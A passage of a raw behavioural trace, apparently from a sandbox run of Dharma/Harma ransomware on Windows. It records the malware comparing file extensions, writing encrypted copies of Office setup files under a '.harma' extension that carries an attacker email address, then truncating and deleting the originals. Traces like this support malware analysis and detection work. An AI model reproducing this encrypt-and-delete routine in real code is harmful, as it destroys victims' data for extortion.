[0049.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.249] lstrlenW (lpString=".1cd") returned 4 [0049.249] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0049.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0049.249] lstrlenW (lpString=".jpg") returned 4 [0049.249] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0049.250] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.250] lstrlenW (lpString="AccessMUI.XML") returned 13 [0049.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.250] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1349) returned 1 [0049.251] CloseHandle (hObject=0x15c) returned 1 [0049.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0049.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.251] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.251] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.251] GetLastError () returned 0x0 [0049.251] ReadFile (in: hFile=0x15c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x545, lpOverlapped=0x0) returned 1 [0049.256] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x550, lpOverlapped=0x0) returned 1 [0049.257] ReadFile (in: hFile=0x15c, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.257] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xee, lpOverlapped=0x0) returned 1 [0049.257] SetEndOfFile (hFile=0x1dc) returned 1 [0049.257] CloseHandle (hObject=0x1dc) returned 1 [0049.267] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.267] SetEndOfFile (hFile=0x15c) returned 1 [0049.268] CloseHandle (hObject=0x15c) returned 1 [0049.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.268] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0049.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.268] lstrlenW (lpString=".doc") returned 4 [0049.269] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString=".docx") returned 5 [0049.269] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.269] lstrlenW (lpString=".pdf") returned 4 [0049.269] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString=".xls") returned 4 [0049.269] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString=".xlsx") returned 5 [0049.269] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.269] lstrlenW (lpString=".ppt") returned 4 [0049.269] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.269] lstrlenW (lpString=".zip") returned 4 [0049.269] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.269] lstrlenW (lpString=".rar") returned 4 [0049.269] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString=".bz2") returned 4 [0049.269] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString=".7z") returned 3 [0049.269] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.269] lstrlenW (lpString=".dbf") returned 4 [0049.269] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.269] lstrlenW (lpString=".1cd") returned 4 [0049.269] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.269] lstrlenW (lpString=".jpg") returned 4 [0049.269] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.270] lstrlenW (lpString=".doc") returned 4 [0049.270] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString=".docx") returned 5 [0049.270] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.270] lstrlenW (lpString=".pdf") returned 4 [0049.270] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString=".xls") returned 4 [0049.270] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString=".xlsx") returned 5 [0049.270] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.270] lstrlenW (lpString=".ppt") returned 4 [0049.270] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.270] lstrlenW (lpString=".zip") returned 4 [0049.270] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.270] lstrlenW (lpString=".rar") returned 4 [0049.270] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString=".bz2") returned 4 [0049.270] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString=".7z") returned 3 [0049.270] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.270] lstrlenW (lpString=".dbf") returned 4 [0049.270] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.270] lstrlenW (lpString=".1cd") returned 4 [0049.270] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0049.271] lstrlenW (lpString=".jpg") returned 4 [0049.271] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.271] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.271] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0049.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.598] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=819) returned 1 [0049.598] CloseHandle (hObject=0x1f4) returned 1 [0049.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0049.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.598] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.599] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.599] GetLastError () returned 0x0 [0049.599] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x333, lpOverlapped=0x0) returned 1 [0049.600] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x340, lpOverlapped=0x0) returned 1 [0049.602] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.602] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0049.602] SetEndOfFile (hFile=0x200) returned 1 [0049.602] CloseHandle (hObject=0x200) returned 1 [0049.603] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.603] SetEndOfFile (hFile=0x1f4) returned 1 [0049.604] CloseHandle (hObject=0x1f4) returned 1 [0049.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.605] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0049.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.605] lstrlenW (lpString=".doc") returned 4 [0049.605] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.605] lstrlenW (lpString=".docx") returned 5 [0049.605] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0049.605] lstrlenW (lpString=".pdf") returned 4 [0049.605] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.605] lstrlenW (lpString=".xls") returned 4 [0049.605] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.605] lstrlenW (lpString=".xlsx") returned 5 [0049.605] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0049.605] lstrlenW (lpString=".ppt") returned 4 [0049.605] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.605] lstrlenW (lpString=".zip") returned 4 [0049.606] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.606] lstrlenW (lpString=".rar") returned 4 [0049.606] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.606] lstrlenW (lpString=".bz2") returned 4 [0049.606] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.606] lstrlenW (lpString=".7z") returned 3 [0049.606] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.606] lstrlenW (lpString=".dbf") returned 4 [0049.606] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.606] lstrlenW (lpString=".1cd") returned 4 [0049.606] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.606] lstrlenW (lpString=".jpg") returned 4 [0049.606] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.606] lstrlenW (lpString=".doc") returned 4 [0049.606] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.606] lstrlenW (lpString=".docx") returned 5 [0049.606] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0049.606] lstrlenW (lpString=".pdf") returned 4 [0049.607] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.607] lstrlenW (lpString=".xls") returned 4 [0049.607] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.607] lstrlenW (lpString=".xlsx") returned 5 [0049.607] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0049.607] lstrlenW (lpString=".ppt") returned 4 [0049.607] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.607] lstrlenW (lpString=".zip") returned 4 [0049.607] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.607] lstrlenW (lpString=".rar") returned 4 [0049.607] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.607] lstrlenW (lpString=".bz2") returned 4 [0049.607] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.607] lstrlenW (lpString=".7z") returned 3 [0049.607] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.607] lstrlenW (lpString=".dbf") returned 4 [0049.607] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.607] lstrlenW (lpString=".1cd") returned 4 [0049.607] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0049.607] lstrlenW (lpString=".jpg") returned 4 [0049.607] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.608] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.608] lstrlenW (lpString="BRANDING.XML") returned 12 [0049.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.610] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=596341) returned 1 [0049.610] CloseHandle (hObject=0x1f4) returned 1 [0049.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0049.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.612] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.612] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.612] GetLastError () returned 0x0 [0049.612] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x91975, lpOverlapped=0x0) returned 1 [0049.629] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x91980, lpOverlapped=0x0) returned 1 [0050.027] ReadFile (in: hFile=0x1f4, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.028] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.028] SetEndOfFile (hFile=0x200) returned 1 [0050.028] CloseHandle (hObject=0x200) returned 1 [0050.041] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.041] SetEndOfFile (hFile=0x1f4) returned 1 [0050.046] CloseHandle (hObject=0x1f4) returned 1 [0050.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.047] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0050.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.396] lstrlenW (lpString=".doc") returned 4 [0050.396] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString=".docx") returned 5 [0050.397] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0050.397] lstrlenW (lpString=".pdf") returned 4 [0050.397] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString=".xls") returned 4 [0050.397] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString=".xlsx") returned 5 [0050.397] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0050.397] lstrlenW (lpString=".ppt") returned 4 [0050.397] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.397] lstrlenW (lpString=".zip") returned 4 [0050.397] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.397] lstrlenW (lpString=".rar") returned 4 [0050.397] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString=".bz2") returned 4 [0050.397] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString=".7z") returned 3 [0050.397] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.397] lstrlenW (lpString=".dbf") returned 4 [0050.397] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.397] lstrlenW (lpString=".1cd") returned 4 [0050.397] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.397] lstrlenW (lpString=".jpg") returned 4 [0050.397] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.398] lstrlenW (lpString=".doc") returned 4 [0050.398] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.398] lstrlenW (lpString=".docx") returned 5 [0050.398] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0050.398] lstrlenW (lpString=".pdf") returned 4 [0050.398] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.398] lstrlenW 